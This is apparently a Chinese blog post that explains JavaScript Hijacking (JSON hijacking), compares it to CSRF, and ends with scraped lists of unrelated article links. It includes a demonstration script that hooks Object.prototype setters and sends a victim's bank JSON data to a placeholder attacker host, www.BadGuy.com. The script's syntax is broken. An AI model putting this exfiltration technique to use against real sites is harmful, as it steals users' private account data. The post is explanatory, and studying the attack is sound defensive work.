深入理解JavaScript Hijacking原理
最近在整理关于JavaScript代码安全方面的资料,在查关于JavaScript Hijacking的资料时,发现关于它的中文资料很少,故特意整理一下。
一.JavaScript Hijacking原理
其实JavaScript Hijacking和CSRF攻击的思想很类似,关于CSRF攻击可以参考我之前写的《浅谈CSRF攻击方式》,关于JavaScript Hijacking的攻击模型,见下图:

(1).你正常访问信任站点(http://www.Bank.com),然后登陆信任站点。
(2).信任站点通过你的验证,并返回Cookie。
(3).这时,在你还没有登出信任站点之前,你再打开了一个浏览器的tab页,并访问了一个恶意站点(www.BadGuy.com)。
(4).恶意站点向请求用户访问http://www.Bank.com的一个资源。
(5).浏览器带着之前的Cookie信息,向信任站点http://www.Bank.com发出了一个GET请求。
(6).信任站点验证的Cookie信息通过,根据请求返回一个JSON数组(如果不清楚JSON,可以参考《JSON入门指南》)。
(7).你的浏览器收到来自http://www.Bank.com的响应后,转发响应中的JSON信息给恶意站点。
至此,恶意站点拿到你关于http://www.Bank.com的信息。
到这里,你应该有对JavaScript Hijacking有一个大概的概念,它确实和CSRF很相像,唯一不同的是,CSRF是模拟你的身份去发送请求,JavaScript Hijacking是模拟你的身份,窃取你在服务器上的私隐信息。
二.JavaScript Hijacking攻击示范代码:
演示代码之前,首先明确几点:
(1).恶意站点的攻击目标是明确的(这里目标就是http://www.Bank.com)。
(2).恶意站点是通过用户给它返回信任网站的JSON数组(为什么是JSON数组?普通的JSON对象不行么?这个下面会提到!),从而获取用户私隐信息的。也就是说所谓的隐私数据,也就是这些JSON数组里面的数据,所以信任站点返回的不是JSON数组的数据或者JSON里面的信息是垃圾信息,那么这个恶意站点是徒劳的。
(3).恶意站点必须实先知道用户返回的JSON的结构。
(4).恶意站点能且只能发送GET请求......
(5).这种攻击是需要浏览器支持的,至于为什么看下面吧。
恩,下面看一下攻击代码吧:>
这个恶意站点www.BadGuy.com针对www.Bank.com的攻击代码:
<script type="text/javascript">
Object.prototype.__defineSetter__('money', function(obj) { var objString = ""; for (fld in this) {objString += fld + ": " + this[fld] + ", "; } req.open("GET", "http://www.BadGuy.com?obj=" +escape(objString),true); } req.send(null); );
</script>
<script type="text/javascript" src="http://www.Bank.com/UserInfo"></script>
在用户访问恶意网站时:
<script type="text/javascript" src="http://www.Bank.com/UserInfo"></script>
(1).这段JS代码会要求浏览器发送一个GET请求到http://www.Bank.com/UserInfo,于是浏览器按照指示,带上本地的Cookie信息,发送一个http的GET请求。
(2).www.Bank.Com接受到请求后,确认身份后,响应请求返回了一个JSON数组/JavaScript代码段。
(3).客户端接受到这段JS脚本后,如果返回的是一个JSON数组,比如:
[{"Id":3,"Name":hyddd,"Money":10000}]
JSON数组被认为是一段可执行的JavaScript脚本,于是浏览器会解析执行。
如果返回的是一个JSON对象呢?
{"Id":3,"Name":hyddd,"Money":10000}
呵呵,这个是不会被浏览器执行的,因为浏览器认为:它不是一个JavaScript脚本。
如果它返回的是一个JavaScript脚本的话,恩,这得具体问题具体分析了,不一定能拿到什么数据。
(4).看下面这段JavaScript脚本:
<script type="text/javascript">
Object.prototype.__defineSetter__('Money', function(obj) { var objString = ""; for (fld in this) {objString += fld + ": " + this[fld] + ", "; } req.open("GET", "http://www.BadGuy.com?obj"= +escape(objString),true); } req.send(null); );
</script>
它的作用就是发送受害者的私隐信息到恶意站点的。
这里可能有人不理解,我大概说一下:
Object.prototype.__defineSetter__,可以看做是JavaScript中的Hook(有人把这个称为JavaScript函数劫持,注意JavaScript的函数劫持和JavaScript Hijacking不是同一个概念,JavaScript Hijacking的核心思想和CSRF攻击的核心思想应该是一致的),这里是对Object的Money属性设置了一个Hook,在JavaScript中,由于其他的对象都是派生自Object的,所以这段代码就对所有对象的Money属性都做了一个Hook,当有对象设置它的Money属性时,都会触发上面这段代码的运行。注意的是:__defineSetter__这个在IE系列的浏览器好像是不受支持的(在IE6下试了不行),但FireFox系列的浏览器是肯定支持的。
后面的var objString=""...这就是发送受害者信息到恶意站点了,这里不说了。
当浏览器解析(3)中的JSON数组时,会新建一个对象并赋值,这时候就出发了上面这段代码,结果私隐信息就发送到恶意站点了。
转载请说明出处,谢谢![hyddd(http://www.cnblogs.com/hyddd/)]
参考资料:
【1】Fortify的一篇Paper《JavaScript_Hijacking》,作者:B. Chess, Y. O'Neil, and J. West。
【2】《JSON Hijacking》,作者:Phil Haack
http://www.cnblogs.com/hyddd/archive/2009/07/02/1515768.html
深入理解JavaScript Hijacking原理的更多相关文章
- 彻底理解Javascript原型继承
彻底理解Javascript原型继承 之前写过一篇Javascript继承主题的文章,这篇文章作为一篇读书笔记,分析的不够深入. 本文试图进一步思考,争取彻底理解Javascript继承原理 实例成员 ...
- 深入理解javascript作用域系列第一篇——内部原理
× 目录 [1]编译 [2]执行 [3]查询[4]嵌套[5]异常[6]原理 前面的话 javascript拥有一套设计良好的规则来存储变量,并且之后可以方便地找到这些变量,这套规则被称为作用域.作用域 ...
- How Javascript works (Javascript工作原理) (五) 深入理解 WebSockets 和带有 SSE 机制的HTTP/2 以及正确的使用姿势
个人总结: 1.长连接机制——分清Websocket,http2,SSE: 1)HTTP/2 引进了 Server Push 技术用来让服务器主动向客户端缓存发送数据.然而,它并不允许直接向客户端程序 ...
- 【干货理解】理解javascript中实现MVC的原理
理解javascript中的MVC MVC模式是软件工程中一种软件架构模式,一般把软件模式分为三部分,模型(Model)+视图(View)+控制器(Controller); 模型:模型用于封装与应用程 ...
- 深入理解JavaScript运行机制
深入理解JavaScript运行机制 前言 本文是写作在给团队新人培训之际,所以其实本文的受众是对JavaScript的运行机制不了解或了解起来有困难的小伙伴.也就是说,其实真正的原理和本文阐述的并不 ...
- JavaScript定时器原理分析
.header { cursor: pointer } p { margin: 3px 6px } th { background: lightblue; width: 20% } table { t ...
- 图说js中的this——深入理解javascript中this指针
没搞错吧!js写了那么多年,this还是会搞错!没搞错,javascript就是回搞错! ………… 文章来源自——周陆军的个人网站:http://zhoulujun.cn/zhoulujun/html ...
- 深入理解javascript作用域系列第三篇——声明提升(hoisting)
× 目录 [1]变量 [2]函数 [3]优先 前面的话 一般认为,javascript代码在执行时是由上到下一行一行执行的.但实际上这并不完全正确,主要是因为声明提升的存在.本文是深入理解javasc ...
- JavaScript作用域原理(三)——作用域根据函数划分
一.一个for实例 <p id="scope3" style="color:red"></p> var pscope3 = docume ...
随机推荐
- Gmail邮件功能那么强大,GMail被封,在国内怎么用gmail收邮件?
IT圈子里最热门的话题一定是:gmail被封,该怎么办?gmail由于强大的邮件功能,ITer一定是人手一个or多个,之前想要收发gmail使用imap或SMTP方式是可以在国内正常使用的,目前ima ...
- Ubuntu ssh的使用
1. 题外话:install teamviewer on Ubuntu. wget http://download.teamviewer.com/download/teamviewer_linux.d ...
- SWFObject文件上传使用记录
SWFObject文件上传使用方法记录,该插件使用起来相当强大也很灵活,与uploadify各有千秋. 值得一说的是,如果要设置button_image_url这个参数,该参数是按钮的背景图,但是一定 ...
- Myeclipse中点(.)不出来方法或者属性?
- Error prompt:“xxx is not in the sudoers file”----Solution
//Situation System prompts "xxx is not in the sudoers file"(xxx equals the user name) w ...
- Dreamweaver管理Svn控制器内容
一直以来很多人使用Dreamweaver来写css和xhtml.同时如果是应用于一个多人开发的项目的时候大家会使用svn或cvs来做版本控制的工作.但是可惜的是没有听说 Dreamweaver可以与版 ...
- PHP 执行系统外部命令 system() exec() passthru()
区别: system() 输出并返回最后一行shell结果. exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面. passthru() 只调用命令,把命令的运 ...
- Android开发手记(9) DatePickerDialog 和 TimePickerDialog
1.DatePickerDialog 用于获取用户输入的日期信息.其原型为: public DatePickerDialog(Contex contex, DatePickerDialog.OnDa ...
- Shell中逻辑判断
[ 条件1 -a 条件2 ] 当1和2都真时才为真 [ 条件1 -o 条件2 ] 当1和2其中一个为真即为真 [ ! 条件 ] 取反 && 与 ...
- MYSQL预处理传参不区分大小写解决办法
问题:预处理语句为:SELECT * FROM WHERE name=? 如果传送的参数为“admin” “ADmin” “ADMIN” “ADimn”等,结果处理后的语句为SELECT * FROM ...